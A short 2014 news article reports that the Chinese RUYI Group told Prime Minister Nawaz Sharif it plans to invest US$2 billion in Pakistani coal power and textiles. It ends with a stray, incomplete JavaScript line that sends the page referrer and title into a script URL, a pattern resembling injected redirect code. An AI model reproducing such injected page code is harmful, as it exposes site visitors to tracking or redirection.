Published On: Fri, Jan 10th, 2014
Published in Category: Business

Chinese company to invest US$ 2 billion in Pakistan

Share This

ISLAMABAD: Prime Minister Muhammad Nawaz Sharif, Thursday, said that due structural reforms to make economy attractive for local and international investors Pakistan had become emerging economies of world.

While talking to a delegation of Chinese Group RUYI headed by its chairman Yafu Qiu, here at PM house, he said that Pakistan provided ample investment opportunities in energy infrastructure and textile sectors. PM told that our government has investment friendly policies and we would like that the world wide investors including Chinese should invest in Pakistan.

Yafu Qiu, Chairman of Chinese Company told PM that his company is all set to invest US$ 2 billion in Pakistan economy in next two years. The main sectors of investment would be energy and textile sector, he told. He told that his company will construct two coal fired power plants in Pakistan each having power generation capacity of 300 megawatt.

He said that after getting GPS plus status Pakistan has become an attractive place for investment in textile sector. He said that Pakistan has a booming textile sector and taking advantage of the available opportunities that they have planned to invest in textile sector besides production of High quality Yarn. He said that they are encouraged by the support and assistance provided by the government of Pakistan in this respect.

Prime Minister appreciated the appreciated the investments by the company and said that the investment would not only create job opportunities to the skilled youth but also lead to introduction of new technology in textile sector. Governor Punjab Ch. Muhammad Sarwar and Chairman BOI Miftah Ismael were also present at the occasion.
s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;